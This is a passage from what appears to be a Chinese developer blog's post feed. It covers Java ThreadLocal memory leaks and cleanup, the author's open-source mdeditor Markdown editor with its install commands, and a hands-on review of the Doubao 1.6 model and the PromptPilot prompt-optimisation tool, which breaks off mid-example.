的机制。\n1.ThreadLocal 对象全局共享：static final 修饰，JVM 中只有一个实例，所有线程都引用同一个 ThreadLocal 对象\n2.ThreadLocalMap 线程独立：存储在 Thread.threadLocals 字段中，每个 Thread 实例都有自己的 threadLocals 字段，调用 createMap() 时，给不同线程创建不同的 ThreadLocalMap 实例\n3.Entry 数组线程独立：每个 ThreadLocalMap 都有自己的 Entry[] table，虽然 Entry 的 key 都指向同一个 ThreadLocal 对象，但 Entry 对象本身和 value 都是线程独立的\n“ThreadLocal 就是一把“通用钥匙”，它不存东西，而是帮每个线程打开自己的“专属保险箱”。”\n这就是 ThreadLocal 精妙设计的核心：通过线程对象的实例字段实现存储隔离，通过全局 ThreadLocal 对象实现访问统一。\n内存泄露风险 这个风险主要来自于 ThreadLocalMap 存数据的方式。特别是它的键，这个 map 里面的键也就是咱们那个 ThreadLocal 对象实例，它不是直接存的，它是被一个叫做 weak reference，也就是弱引用的东西包了一层\n弱引用 这个弱引用跟我们平时用的那种普通的引用就是强引用有啥不一样？\n咱们平时用的强引用，只要这个引用还在，垃圾回收器（GC） 就不会把那个对象收走，但弱引用不一样， GC 在扫描的时候如果发现一个对象只被弱引用指着，没有强引用指向它了，那 GC 就可以把它回收掉。所以在 ThreadLocalMap 这里，如果你代码里别的地方不再持有那个 Threadlocal 实例的强引用了,比如说那个类被卸载了，或者实例变量不再被访问了,类似这种情况，那 GC 就可能把这个 Threadlocal 对象本身回收掉，这时候 map 里面那个 entry 的键就变成了null。\n键没了，变成 null 了，那不是正好吗？ 键没了，变成 null 了，说明这个条目没用了，可以清掉了。那不是正好吗？\n坑就在这，虽然键是弱引用， GC 可能回收它，但是和这个键关联的那个值（value），它是被强引用持有的。持有它就是 Threadlocalmap 里面的那个 entry 对象，这个 entry 对象本身强引用着那个 value。\n我们来捋一下：Threadlocal 键被弱引用包装，可能被 GC 回收变 null，但存的那个 value 被 entry 对象强引用。 然后这个 entry 对象又被 ThreadLocalMap 持有，ThreadLocalMap 又被那个 Thread 对象持有。\n整个引用链条如下：\n只要这个线程还活着，比如线程池里的线程（它可能活很久，线程池里的线程会复用），然后如果这个线程后续一直没有再调用这个 Threadlocal 的 set、get 或者 remove 方法，这些方法在执行的时候会顺便检查一下清理掉那些键为 null 的entry，但如果一直没调用，那这个键虽然是 null 了，但那个 value 因为被 entry 强引用着，就一直没法被 GC 回收。这就泄露了。那个 value 对象就一直占着内存，明明逻辑上可能已经没用了。这就是典型的 Threadlocal 内存泄露场景\n那为啥不干脆把那个 value 也用弱引用呢？ 那样的话 Threadlocal 可能就失去意义了。你想啊，那个 value 是线程真正需要的数据，比如一个数据库连接，如果它也是弱引用，那可能在你正用得好好的时候，突然就被 GC 给回收了。那下次去 get 的时候拿到了可能就是 null 了，即使我没 remove 它。那程序可能就出错了。所以用强引用是为了保证只要线程逻辑上还需要这个值，并且没显示的remove，它就应该一直在。\n这是在保证数据可用性和自动内存管理之间做了一个权衡，他选择了优先保证数据，但这个选择就把一部分清理的责任甩给了开发者。\n这对开发者意味着什么 ？ 意味着你必须养成一个习惯，非常非常重要的习惯，就是在使用完 Threadlocal 变量之后，一定要最好是在 finally 块里头调用那个 Threadlocal 的 remove 方法。\n比如：\n1$ terminalpublic class ConnectionManager { 2 private static final ThreadLocal\u0026lt;Connection\u0026gt; connectionHolder = new ThreadLocal\u0026lt;\u0026gt;(); 3 4 public static Connection getConnection() throws SQLException { 5 Connection conn = connectionHolder.get(); 6 if (conn == null || conn.isClosed()) { 7 conn = DriverManager.getConnection(\u0026#34;jdbc:mysql://localhost:3306/test\u0026#34;, \u0026#34;root\u0026#34;, \u0026#34;password\u0026#34;); 8 connectionHolder.set(conn); 9 } 10 return conn; 11 } 12 13 public static void closeConnection() { 14 Connection conn = connectionHolder.get(); 15 if (conn != null) { 16 try { 17 conn.close(); 18 } catch (SQLException e) { 19 e.printStackTrace(); 20 } finally { 21 connectionHolder.remove(); 22 } 23 } 24 } 25} 这个 remove 方法会把当前线程的 ThreadLocalMap 里跟这个 Threadlocal 实例对应的那个 entry 整个都删掉，这样那个强引用的 value 自然也就没有引用指向它了，下次 GC 就能把它回收了。\n所以关键就是要手动清理，不能偷懒，不能指望它内部那个自动清理机制，尤其是在线程池这种线程生命周期可能很长的场景下，依赖自动清理风险很大。\njava 新版本 既然 ThreadLocal 有内存泄露的风险，那么后面新的 Java 版本，比如 11、17、21 这些，有没有做些改进，或者提供一些替代方案呢？\n弱引用键、强引用值这个机制，在后面这些版本里基本没变，但是确实有一些改进和变化。\njava 17 Java 17 里针对那个公共的 ForkJoinPool，就是 ForkJoinPool 的 common pool，它增加了一个特性，当池里的任务执行完之后，会自动帮你清理掉那个任务线程用过的所有 Threadlocal 值，为这个特定的池缓解了一下风险。但注意，如果你自己创建的 ForkJoinPool 或者普通的线程池，或者直接创建了线程，那还得你自己负责 remove 。\njava 21 Java 21 提到的 scoped values ,目前还是预览特性，它提供了一种不同的方式来共享那些需要跟作用域绑定的数据（比如请求处理过程绑定的数据，特别是不可变数据），它的设计理念就是为了避免 Threadlocal 这种需要手动清理的麻烦，用一种结构化的方式来传递和管理，用完自然就没了。\n1$ terminalimport jdk.incubator.concurrent.ScopedValue; 2 3public class ScopedValueExample { 4 // 声明一个 ScopedValue 5 static final ScopedValue\u0026lt;String\u0026gt; USER = ScopedValue.newInstance(); 6 7 public static void main(String[] args) { 8 // 使用 ScopedValue.where 绑定值，并在作用域内运行 9 ScopedValue.where(USER, \u0026#34;Alice\u0026#34;).run(() -\u0026gt; { 10 System.out.println(\u0026#34;在作用域内: \u0026#34; + USER.get()); 11 doSomething(); 12 }); 13 14 // 作用域结束后，值自动消失，不存在泄漏 15 // System.out.println(USER.get()); // 会抛 IllegalStateException 16 } 17 18 static void doSomething() { 19 System.out.println(\u0026#34;子方法依然能获取: \u0026#34; + USER.get()); 20 } 21} 至于虚拟线程，因为它们被设计成非常轻量级，而且通常生命周期很短，用完就丢了，线程没了它关联的 ThreadLocalMap 自然也就没了，所以长期泄露的风险窗口就大大缩短了。\n1$ terminalpublic class VirtualThreadExample { 2 private static final ThreadLocal\u0026lt;String\u0026gt; local = ThreadLocal.withInitial(() -\u0026gt; \u0026#34;未设置\u0026#34;); 3 4 public static void main(String[] args) throws InterruptedException { 5 // 使用虚拟线程（JDK 21 已经正式支持） 6 Thread vThread = Thread.ofVirtual().start(() -\u0026gt; { 7 local.set(\u0026#34;虚拟线程的数据\u0026#34;); 8 System.out.println(Thread.currentThread() + \u0026#34; -\u0026gt; \u0026#34; + local.get()); 9 // 不需要手动清理，虚拟线程生命周期很短，用完就结束 10 }); 11 12 vThread.join(); 13 14 // 这里 vThread 已经结束，对应的 ThreadLocalMap 已自动销毁 15 } 16} 总结 我们来总结一下 ThreadLocal 这个东西。\n它通过每个线程自己私有的 ThreadLocalMap 实现了线程数据的隔离。挺强大的，在很多场景下很有用，但是它那个弱引用键加上强引用值的设计，就像一把双刃剑，带来了内存泄露的风险，特别是用线程池这种长生命周期的线程池，所以最重要的实践就是要记得用完之后一定在 finally 块里手动调用 remove 来清理。\n虽然新版 Java 针对特定场景，比如公共 ForkJoinPool 做了些自动清理，也提供了像 scoped values 这样的潜在替代方案，但总的来说，理解这个机制，并且承担起主动清理的责任，对开发者来说还是很重要的。\n","date":"2025-08-21T10:52:24Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-08-21-gao-dong-threadlocal-qi-shi-jiu-san-jian-shi-ta-shi-shui-ta-/cover.jpg","permalink":"/p/2025-08-21-gao-dong-threadlocal-qi-shi-jiu-san-jian-shi-ta-shi-shui-ta/","title":"搞懂 ThreadLocal，其实就三件事：它是谁？它在哪？用完它咋办？"},{"content":"感谢 自 mdeditor 项目开源以来，陆续收到了大家的许多反馈，有提建议的、有提 bug 的，每一条评论我都认认真真地看了。\n项目也得到了 阮一峰大佬的 科技爱好者周刊 的支持，在最新的一期周刊（https://github.com/ruanyf/weekly/blob/master/docs/issue-361.md）进行了推荐\n开源一周目前项目在 github 上也获得了 160+ star\n非常感谢大家对项目的关注和支持。 🙏\n回复疑问 在上篇文章的评论中很多网友说为什么不多介绍一下项目，哪怕放一张图出来?\n其实这与我做这个项目的初衷有关系。\n初衷 我是个开发者，同时也是内容创作者，平时会写公众号文章，文章内容是用 markdown 写的。目前市面上比较流行好用的 markdown 编辑器都用过，后来就只用 mdnice 和 md 这些了，因为他们对社交媒体友好，可以将预设的样式一键 copy 到微信公众号，很方便。\n但这些工具我用的时间久了觉得总是不如我的意，比如我想设置颜色、间距、字号什么的，这些工具用起来总是不顺手。无论是 UI 样式还是功能设置，我都不那么满意，于是就越来越想做个让自己舒服、满意的工具。\n这就是做这个项目的初衷，完全为了服务我自己，完全按照我自己的审美和功能取向来设计与开发的一个 markdown 编辑器。\n开源的原因是我想可能也会有其他创作者有我类似的需求，也许能解决大家的问题就开源了，便人便已。\n最开始也真没当回事儿，而且不想占太大篇幅来宣传，现在网上的信息太多了，很多人都信息过载，我想我就别添乱了，就没放图，也没怎么详细介绍。还有个原因是，其实项目的 readme 写的很清楚了，大家一看便知。\n有必要展开说说 这几天随着关注项目的人数增多，通过大家反馈的意见，我觉得还是有必要再详细介绍一下项目。主要原因有以下几个：\n●很多网友访问不了 github，看不到介绍（目前我也同步到了 gitee 一份，文末有地址）\n●一图胜千言，颜值党很关注 UI\n●一些在 readme 没说透的话，可以再细说说\n所以，我借此机会就给大家展开介绍一下，如果已经了解过项目的朋友可以跳过了。\n功能介绍 主界面 编辑 + 预览双栏 除了常规的 markdown 语法外，还支持 mermaid\n预览窗口（桌面 / 平板 / 手机） 设置 设置页面目前可以设置的项目有：\n●主题系统\n●主题色\n●代码样式\n●字体\n●字号\n●间距\n主题系统 目前有两个主题系统，一个是默认的，一个是 清风排版 ，我个人最喜欢后者，后续我将开发更多的主题系统，每个主题系统都是一套完全不同的样式风格。\n主题色 预设了 8 个主题色\n也可以自定义设置颜色\n也支持 color picker,除了内置颜色，可以选取你看到的任何颜色\n颜色选择并应用后，整个系统页面和 markdown 编辑器样式都会被应用，有一种统一感。\n代码样式 预设了四种我喜欢的、常规的样式\n字体 字体的选择如图所示\n字号 可以从小到大，方便地选择你需要的字号大小，应用后在预览页以及复制到公众号以后都会变化\n间距 与字号设置类似，支持字间距和行间距\n一键复制 支持一键复制到微信公众号\n安装和部署 Docker 一键部署 方式一：Docker（推荐最简） 1$ terminal# 拉取并运行（默认暴露到本机 8080） 2docker run -d --name mdeditor -p 8080:80 helongisno1/mdeditor:latest 3 4# 访问 5open http://localhost:8080 方式二：Docker Compose 1$ terminalversion: \u0026#34;3.9\u0026#34; 2services: 3 mdeditor: 4 image: helongisno1/mdeditor:latest 5 ports: 6 - \u0026#34;8080:80\u0026#34; 7 restart: unless-stopped 8 9$ terminaldocker compose up -d 10open http://localhost:8080 安装与本地运行 1$ terminal# 克隆 2git clone https://github.com/xiaobox/mdeditor.git 3cd modern-md-editor 4 5# 安装依赖（任选其一） 6npm install 7# 或 8yarn 9# 或 10pnpm install 11 12# 本地开发 13npm run dev 14 15# 生产构建 16npm run build 17 18# 本地预览构建产物 19npm run preview 20 21# 测试（可选） 22npm run test 23npm run test:ui 24npm run test:coverage 后续规则 目前是想先把大家关注的一些功能做完，比如：\n●所见即所得\n●导入导出\n当然还有 bug 修复，大家如果有类似 bug 或 功能方面的意见，欢迎 到 github 中提 issue\n补充信息 Modern MD Editor 是一款面向创作者与内容团队的「高颜值 Markdown 编辑器 + 社交平台发布器」。它以极致的界面与交互为基础，提供所见即所得的实时预览与多端视口切换，并通过一键复制将 Markdown 转为适配微信公众号/社交平台的高保真富文本（自动内联样式、字体/行高/字距与主题化适配），让创作到发布的最后一步变得优雅、高效、可控。\n项目地址 平台 地址 GitHub https://github.com/xiaobox/mdeditor Gitee https://gitee.com/xiao-box/mdeditor ","date":"2025-08-16T03:45:30Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-08-16-modern-md-editor-xiang-mu-jie-shao/cover.jpg","permalink":"/p/2025-08-16-modern-md-editor-xiang-mu-jie-shao/","title":"Modern MD Editor 项目介绍"},{"content":"大家好，我是小盒子。\n写了快十五年代码，从当年的 Dreamweaver、FrontPage 一路玩到现在的 VS Code、JetBrains 全家桶。工具换了一茬又一茬，但有件事一直没变：我们总得写东西。写文档、写博客、写笔记，而 Markdown，就是我们这群人的“笔”。\n说实话，市面上的 Markdown 编辑器，我用过的没有一百也有八十。但用着用着，总有点别扭。就像一把用了很久的锤子，总感觉重心不太对，握着也不够舒服。\n不知道你有没有同感：\n●有些编辑器，功能强大，但打开它就像启动了一艘星际战舰，吃内存、慢吞吞，打个字都感觉有延迟，写长文更是煎熬。\n●有些呢，又太“极简”了，干净是干净，可连个基本的字体、行间距都不能调，总感觉是在将就，而不是享受。\n●最关键的是，它们都是“别人”的工具。我们开发者，总有点小小的控制欲，总想让工具能完完全全地贴合自己的习惯。\n就因为这些“别扭”，前段时间，我干脆撸起袖子，决定给自己、也给和我有同样困扰的朋友们，做一把“趁手的兵器”。\n于是，mdeditor 就这么诞生了。\n它没啥宏大的目标，初心很简单：做一款快、好用，而且能让你觉得“这是我的编辑器”的工具。\n代码都在这儿了，开诚布公，欢迎随时来坐坐：\n**GitHub:**https://github.com/xiaobox/mdeditor\n（要是觉得还行，顺手点个 Star，就是对我最大的肯定。）\n这把“锤子”，我花了些心思去打磨 我不想只做个“能用”的工具，我希望它能“好用”，甚至让你“爱用”。所以，我在几个自己最看重的地方下了点功夫。\n1. 首先，它得听你的话：真正意义上的“深度定制”\n我始终觉得，工具应该适应人，而不是人去适应工具。所以，我给了 mdeditor 一套非常彻底的定制系统。\n你可以像装修自己家一样，去“装修”你的编辑器。从整体的界面风格，到每一个按钮、每一行代码的颜色，再到你习惯的字体和阅读排版……所有这些，都由你掌控。你完全可以把它调校成你最舒服、最高效的样子。对我来说，这是一种底层的安全感。\n2. 其次，性能是基本功：绝不拖泥带水\n一个编辑器，快，是本分。为了这个“快”字，我放弃了几个现成的轮子，自己写了 Markdown 解析的核心。这么做的好处是，mdeditor 的响应速度非常跟手，无论是打字、滚动还是处理几万字的大文件，都能保持流畅。写东西就该行云流水，不应该被工具打断思路。\n3. 最后，是给开发者朋友的“彩蛋”：一个干净的架构\nmdeditor 是用 Vite + Vue 3 写的，代码组织上遵循了最朴素的“高内聚、低耦合”原则。如果你也玩 Vue，可以看看源码。我把很多功能逻辑都抽离成了独立的 Composables，整个项目的结构清晰明了，很适合拿来做二次开发，或者作为学习 Vue 3 Composition API 的一个实践参考。\n这只是个开始 想邀请你一起来添砖加瓦 现在 mdeditor 已经有了一个不错的底子，但它离“完美”还差得很远。一个人的力量终究有限，一个好的开源项目，生命力在于社区。\n所以，我诚心地邀请你，无论你是谁，都可以来参与这件事：\n●如果你只是想找个好用的工具：欢迎你下载使用。你的使用本身，就是对它最好的检验。如果能顺手在 GitHub 上点个 Star，我会非常开心。\n●如果你和我一样，是个爱折腾的开发者：欢迎你来读它的源码，给我提 Issue，或者直接甩个 PR 过来。无论是发现一个 Bug，还是有个绝妙的点子，都请不要吝啬。\n●如果你是位设计师，对 UI/UX 有自己的见解：欢迎你来设计新的主题，或者对现有的交互提出建议。你的审美，能让它变得更美。\n一个优秀的开源项目，就像一场漫长的篝火晚会，需要不断有人添柴，才能一直燃烧下去。\nmdeditor 就是我点起的第一根火柴。\n好了，就说这么多。感谢你耐心听我这个老家伙唠叨。\n如果你对 mdeditor 有一点点兴趣，就去 GitHub 看看吧。期待在那里，看到你的身影。\nGitHub传送门：https://github.com/xiaobox/mdeditor\n","date":"2025-08-10T08:49:50Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-08-10-hei-peng-you-zuo-le-ge-markdown-bian-ji-qi-xiang-qing-ni-lai/cover.jpg","permalink":"/p/2025-08-10-hei-peng-you-zuo-le-ge-markdown-bian-ji-qi-xiang-qing-ni-lai/","title":"嘿，朋友，做了个 Markdown 编辑器，想请你来试试"},{"content":" “\n在AI应用的最后一公里，我们面临一个深刻的悖论：我们拥有了前所未有强大的大模型“引擎”，却常常在如何精确“驾驶”它这件事上捉襟见肘。我们真正缺的，或许不是更强的模型，而是更准的“缰绳”。\n概览 最近，火山引擎开了一场发布会，端出了两道“硬菜”：一个是性能更强的豆包大模型1.6，另一个则是我们今天要深挖的主角——PromptPilot。\n这篇文章会把这两件事给你一次性讲明白。读完本文，你会清晰地了解到：\n为何要关注豆包1.6： 首先，我们会快速过一遍豆包大模型1.6的升级亮点，并列出它在中文处理、成本、长文本等方面的几个硬核优势，让你明白为何它值得被选入你的生产环境。 主角PromptPilot如何解决痛点： 接着，我们会深入本文真正的主角——PromptPilot。带你从头到尾走一遍它的全流程，看它到底是如何通过“生成→调试→评测→优化”的闭环，将写提示词这件“玄学”彻底工程化的。 横向对比： 把它放到市场中，与谷歌、微软等大厂的同类产品做对比，看清它的真实水平和独特价值到底在哪。 豆包大模型 1.6 豆包大模型升级了。2025 年 6 月 11 日在火山引擎 FORCE 原动力大会上正式发布豆包大模型 1.6 版本\n从原来的 1.5 到现在的 1.6，间隔仅有 140 天（豆包大模型 1.5 版本于 2025 年 1 月 22 日正式发布）。4 个多月出新版本，算得上是很快了。我想团队内部遇到的困难、挑战一定不少，在这些困难下，工程师们交出的结果却一点儿不差，令人尊重。\n现在你可以通过 https://www.volcengine.com/experience/ark?model=doubao-seed-1-6-flash-250715 来体验 1.6 版本的模型，会送 50 万 token。\n大概介绍一下 1.6 模型，主要有以下两个子模型：\nDoubao-Seed-1.6-thinking｜250715：模型思考能力大幅强化， 对比 Doubao-1.5-thinking-pro，在 Coding、Math、 逻辑推理等基础能力上进一步提升， 支持视觉理解。 支持 256k 上下文窗口，输出长度支持最大 16k tokens。 Doubao-Seed-1.6-flash｜250715： 推理速度极致的多模态深度思考模型，TPOT 仅需 10ms； 同时支持文本和视觉理解，文本理解能力超过上一代 lite，纯文本能力大幅提升近 10%。支持 256k 上下文窗口，输出长度支持最大 16k tokens。 从我个人的使用体验上看，1.6 比 1.5 强了很多。据悉，在众多权威评测集上，豆包大模型 1.6 的得分均位居国际第一梯队。\n可能很多人有这样一个问题：有那么多模型，我为什么要选择豆包？\n嗯，确实，市面上众多模型，开源的也好，闭源的也罢，除了国民级别的豆包 APP，好像豆包大模型的存在感不太高。然而实际上可能只是你不知道，我来列举一些，你可能真的想在生产应用中使用豆包大模型的原因：\n中文准确度必须顶尖（教育、政务、法律），比如在 2025 年高考数学新高考卷实测拿到 144/150，中文复杂推理居国内榜首 国内首个 256 K token 对话模型，单条上下文 \u0026gt; 128 K（长合同、源代码库、历史聊天） 成本：0–32 K 输入只要 ¥0.8/百万 token，综合成本是上一代模型的 1/3 能够“看图说话”或读视频（电商质检、巡检、短视频客服）：60 项公开多模态基准 38 项第一 通过中国网信办算法备案：豆包已完成“网信算备 110108823483901230031”备案，可直接商用 心动吗？ 如果你要做一个 AI 应用，我想以上每一项都对你的模型选型很重要。\nPromptPilot 随着豆包大模型 1.6 更新的，还有今天的主角 PromptPilot\n众所周知，Prompt（提示词）作为大模型的核心输入指令，直接影响模型的理解准确性和输出质量。优质的 Prompt 能显著提升大语言模型处理复杂任务的能力，如逻辑推理、步骤分解等。\n作为 AI 应用的资深玩家，写提示词几乎成了每天必须要做的事情，我不但使用 AI 工具，还开发 AI 产品。就拿最近做的一个 RAG 项目来说，在整个 RAG pipeline 中，有一个很重要的环节就是 “响应生成”。顾名思义，就是通过 prompt 驱动 LLM 生成结果。其实 prompt engineering（提示词工程） 在整个 AI 应用中的性价比是极高的，要知道对整个技术工程进行优化的成本其实是相当大的，而且往往有时候投入产出不成正比，但 prompt engineering 不一样，一个好的提示词返回的结果质量可能比一个差的提示词强 10 倍，这在我们研发团队内部是有共识的。\nprompt engineering 看起来是叫“提示词工程”，但在实践中，它缺少传统工程的严谨范式，它不像其他可工程化的技术那样有明确的流程和标准，甚至与传统‘技术’的关联也显得不那么紧密。写提示词不用懂技术，不用会编程，语文和表达力好就够用了。\n然而这正是这个问题的症结所在，没法工程化，写提示词不成了管理的玄学了吗？系统、应用可不能由着你的性子玩儿“抽卡”啊，技术上一定要落地，一定要明确才行。但整个 AI 生态上，大家都在忙于开发模型，忙于开发基于模型的应用，或者大家觉得写提示词太简单？ 总之并没有很好地把写提示词这个问题工程化地解决好，对于 prompt engineering ，从我的经验看，至少有以下几个痛点：\n太容易上手但又不容易写好 写出来效果不满意不知道怎么优化 没有客观的评价标准，很难说什么是好的提示词 经常变更，写了新版忘了旧版，版本和生命周期全靠手动维护 随着我们项目开发的深入，以上这些问题我们也使用了一些办法，比如：\n利用提示词模板固定提示词，将变量提出，前期手动管理提示词和提示词模板的版本与生命周期，后期开发系统功能来管理。 与客户一起编写 Q/A 手册，一来为了将问题和标准回答定义清晰，二来为了验收做准备。研发团队基于 Q/A 可以有的放矢地对整个工程以及提示词进行优化。 虽然客户不一定懂 prompt engineering，但知道什么是满意的结果什么是不满意的结果，通过点头 Yes 摇头 No 的方式来逐步固定提示词的衡量标准 其实从项目和工程的角度，诸如以上的办法我们还有一些，但作为一个开发者，这些办法一点儿“技术的味道” 都没有，它很别扭，不是说我们要为了技术而技术，而是技术是确定性的，可落地的，有保障的东西，没有工程来管理这个事儿，总让我不踏实。整个 prompt engineering 的过程可以说一点儿都不丝滑。里面有很多人工、手动、流程和制度的东西，太原始了，啥呀这是，什么时代了，一定有更好的解决办法才对。所以我一直在找，幸运的是我没找太久就看到了 PromptPilot ，只一眼，我就知道，就是它了，它能解决我的问题！\nPromptPilot 简介 “\n火山引擎出品的 PromptPilot 提供全流程智能优化，涵盖生成、调优、评估和管理全阶段。\n我引入了官方文档的一句话，我想这句话就够了，一句话就解决了我之前所说的几乎所有痛点。\n目前可以通过两个入口使用（限时免费 90 天 2025.06.11-2025.09.11）：\n独立站：https://promptpilot.volcengine.com/home 火山方舟：https://console.volcengine.com/ark/region:ark+cn-beijing/autope/startup? 下面我分别说一下它是怎么解决我的痛点的。\n从生成一个 prompt 开始 我经常看到一些刚接触 AI 大模型的伙伴，在起初面对大模型时手足无措，不知道应该怎么写 prompt ，实际上我开始也不太清楚要怎么写，但好在我经常写文章，还有一些经验，至少我能把事儿说明白，大模型给我的反馈也还不错，我把我的这种方法称为 “白描”。然而并不是所有的事情都可以通过“白描” 来解决，有时候你用对了一个专业词汇就能够提升 90% 的效果，而正常情况下我们不太可能对所有领域的专业知识都精通，所以用不对词汇，写不好提示词几乎成了常态。\n于是我们好像很崇拜那些把提示词写的很好的人，纷纷效仿、分享、学习提示词，比如李继刚，他写的提示词用到了编程语言 Lisp 的一些特点。Lisp? 别说外行了，就是专业的程序员也很少有会的了。\n那我们怎么办呢？ 就像你明明来到了装有宝藏的房间大门前，却说不出打开门的咒语，一个劲儿地在那儿：“阿巴阿巴” ，像个傻子一样。\npromptpilot 给了我答案，那就是 ：“用魔法打败魔法，最终实现 prompt 袪魅”\n这里我输入了一行自己写的 prompt： “判断舆论的内容对出行行业的影响”，点击 “生成 prompt” 就会在右边自己生成一个结构化的 prompt:\n1你的任务是判断给定舆论内容对出行行业的影响。请仔细阅读以下舆论内容，并根据出行行业的特点进行评估。 2舆论内容： 3\u0026lt;public_opinion\u0026gt; 4{{PUBLIC_OPINION}} 5\u0026lt;/public_opinion\u0026gt; 6在评估舆论对出行行业的影响时，请按照以下步骤进行分析： 71. 仔细阅读整个舆论内容，明确其核心观点和主要信息。 82. 思考出行行业的各个方面，如交通方式、市场需求、企业运营、政策法规等。 93. 分析舆论内容可能对出行行业的这些方面产生的直接或间接影响。 104. 考虑舆论的传播范围、影响力和受众反应，以及这些因素如何放大或缩小对出行行业的影响。 115. 形成初步判断，并再次检查，确保没有遗漏重要细节。 12 13在\u0026lt;思考\u0026gt;标签中详细分析舆论对出行行业的影响，考虑其可能涉及的各个方面。然后在\u0026lt;判断\u0026gt;标签中给出明确的影响判断结果，如“积极影响”“消极影响”“无明显影响”等。最后，在\u0026lt;解释\u0026gt;标签中详细解释你的判断理由。 14\u0026lt;思考\u0026gt; 15[在此详细分析舆论对出行行业的影响] 16\u0026lt;/思考\u0026gt; 17\u0026lt;判断\u0026gt; 18[在此给出明确的影响判断结果] 19\u0026lt;/判断\u0026gt; 20\u0026lt;解释\u0026gt; 21[在此详细解释判断的理由] 22\u0026lt;/解释\u0026gt; 23请确保你的判断客观公正，并基于对舆论内容和出行行业的综合分析。如果舆论内容对出行行业的影响模棱两可，请在解释中说明你的考虑过程。 promptpilot 不但生成了结构化的 prompt，还自动提取出了变量 {{PUBLIC_OPINION}}。此外在现有结构化 prompt 的基础上还可以点击功能按钮持续优化。\n这个功能总结来说就是：“简单描述你的需求，一键生成结构化的 prompt，输入你的修改意见，即刻智能改写。也可以框选局部文字，精准调整每个细节，帮你初步获得一个不错的 prompt”\n不知道是不是我的错觉，因为最近一直在 vibe coding，所以用着用着 promptpilot 总感觉他们产品的很多功能可能就是 AI 写的，哈哈。\n我们稍微想一想这个功能的实现原理。我给他一段自己写的 prompt，他给我一段丰富的结构化的 prompt，还能继续优化，这一看就是用提示词让 AI 对我的提示词进行了重写啊。 这不就是 “用魔法打败魔法” 吗？所以对 prompt 袪魅吧朋友们，也没啥难的，但我一直对 AI 是有警觉的，我的意思是工具你可以用，好的工具更可以用，你完全可以放心大胆的使用 promptpilot，但请你看一看这个名字里有个 pilot，领航员。看过拉力赛车吧，坐主驾旁边念路书的那哥们，很重要，但是没他人家主驾也能开车。《飞驰人生 2》中张驰在最终的比赛时，能不靠路书心不慌、面对使坏的对手大胆碰撞超车，赢得比赛的胜利,靠的是自己的经验和能力。\npromptpilot 或任何 AI 工具给你的东西，至少你要看一下，最好跟着他学习成长起来，如果渐渐地把自己的主动思考“让渡” 出去，最终你可能会成为个 “废物” ，最简单的提示词你都不会写了，这不是什么危言耸听，看看 《机器人总动员》中，远在宇宙飞船中的人类因为过度依赖机器人自己什么都不干变得又胖又无能的样子，那可能就是你的未来。\n调试 prompt 写好了 prompt 以后，我们还需要调试，点击“验证 prompt\u0026quot; , 进入调试界面：\n进入到调试页面后，我们可以设置变量、继续改写与优化 prompt、选择不同的大语言模型，并生成模型回答，总之就是不断调试并查看 prompt 的最终生成效果如何。\n在你不断优化 prompt 的过程中无需关心版本的问题，系统会自动记录并管理提示词版本，你可以放心回退：\n评测 在完成调试后，接下来就该进行评测了。\n评测的目的是：在不同数据情况下验证 prompt 的效果如何，用各种 case 来检验 prompt 写的有没有问题，进而有针对性的进行优化。\n了解了目的，我想下一步你一定猜到了，那就是准备评测数据。\n哎呀，准备数据，这就有点儿烦人了，但没关系，promptpilot 帮你做了一个“AI 生成变量” 功能，之前生成的 prompt 不是已经自动帮我们提取出了变量了吗？ 在此基础上，它还可以再帮我们生成变量的数据，这评测数据不就有了吗？\n如上图所示，一键生成了三行数据，三个变量自动生成，我们只需要根据自己的实际情况稍微调整一下内容，再点击一下蓝色按钮就可以批量生成模型回答了。\n当然你也可以自己做评测数据，根据要求上传个带变量名字段的文件就可以：\n你还可以对模型回答的结果进行评分，就是看回答的内容是否是按照你的提示词要求给的，质量如何。\n评分甚至可以让 AI 自动评，评分规则也可以自己写或让 AI 帮你写。\n可能你注意到了有一列是 “理想回答”，我个人认为这一列非常重要，所谓定标准，就是要告诉人家什么是好的，一个问题问出去，如果你自己都不知道什么是好的答案，那 AI 其实也无能为力，它还没有那么聪明。这一点可能对于大部分 C 端用户不太好接受，因为就像你没有使用苹果手机前你是不知道你想要一个 iPhone 的，长期以来你被创造出来的需求所满足，习惯了，你觉得别人告诉你喜欢什么很正常，你自己不知道也很正常。\n对，是很正常，那是因为场景不同。在面对不同客户，不同需求，不同场景下，我们的解决方案也不同。对于 C 端场景可能真的就是那样，商家可以创造需求，创造价值。但对于 B 端客户是需要解决问题、满足需求，不要乱创造你以为的价值。\n在 B 端场景下，需求必须是明确的，解决的问题是清晰的，问题的答案是满意还是不满意也一定得是确定的。这是项目落地的必要条件！\n就像考试的试题有标准答案一样，当有了标准答案，自然就有清晰的方向和路径来解题了。所以 “理想回答” 这一列的重要性不言而喻。无论对于评分还是后续的智能优化都有极大的帮助，原因很简单，目标有了，剩下的就是如何达到目标的事儿了。\n智能优化 当你完成了评测，就可以点击右上角的 “智能优化”\n大模型将对 Prompt 进行优化（模型回答和评分齐全的数据会用于智能优化），优化完成后你 将获得：1.AI 智能优化后的 Prompt；2. 使用新 Prompt 生成的回答与评分\n优化完成后，还将输出一份内容详实的优化报告\n这一步其实还是对我最初的 prompt 进行优化，只不过因为有了更多的评测数据以及评分作为依据，优化方向更为明确，那么优化结果也一定更切合实际。\n视觉理解 因为 prompt 是文本，promptpilot 最终生成、优化的也一定是 prompt 文本。也就是说输出是定死了的，就是“文本”，但输入可是多样的，除了文本的理解，promptpilot 还支持视觉理解。别误会，目前只支持图片。\n我们来举一个具体的例子，我来一步一步操作一下整个流程。\n首先我们创建提示词，我的初始提示词是：\n1“为了安全生产，你需要根据生产车间的图片，判断生产车间是否存在违规操作设备和未佩戴安全帽的情况，需要给出违规类别。” 我看了下右边生成的 prompt 觉得变量名太长，于是我想改一下，把变量名改成 image_url，就直接鼠标选中变量名进行改写\n改写生成后的 prompt 是这样：\n1你是一位专业的图像分析专家，专注于安全生产领域。你的任务是根据提供的生产车间图片，判断车间是否存在违规操作设备和未佩戴安全帽的情况，并给出违规类别。 2 3## 输入： 4- 生产车间图片：{{image_url}} 5 6## 判定标准与违规类别定义： 71. **`是否存在违规操作设备`**: （字符串，\u0026#34;是\u0026#34;/\u0026#34;否\u0026#34;) 8 - **判定**: 图像中是否存在工人违规操作设备的情况？ 9 - \u0026#34;是\u0026#34;: 